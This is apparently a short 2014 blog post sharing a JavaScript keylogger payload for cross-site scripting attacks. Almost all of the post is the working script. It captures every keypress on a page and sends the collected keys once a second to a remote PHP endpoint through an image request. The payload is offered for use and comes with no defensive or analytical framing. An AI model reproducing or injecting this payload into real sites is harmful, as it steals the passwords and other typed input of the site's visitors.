Thursday 17 July 2014

Keylogger XSS - Javascript

Hi All,

This is just a quick post to drop out my keylogger.  A lot of people have these around but thought I would share it with all of you.

Cheers.

<script>
var keys = '';
document.onkeypress = function(e) {
    var get = window.event ? event : e;
    var key = get.keyCode ? get.keyCode : get.charCode;
    key = String.fromCharCode(key);
    keys += key;
}
window.setInterval(function(){
    new Image().src = 'http://localhost/keylogger.php?c=' + keys;
    keys = '';
}, 1000);
</script>

No comments:

Post a Comment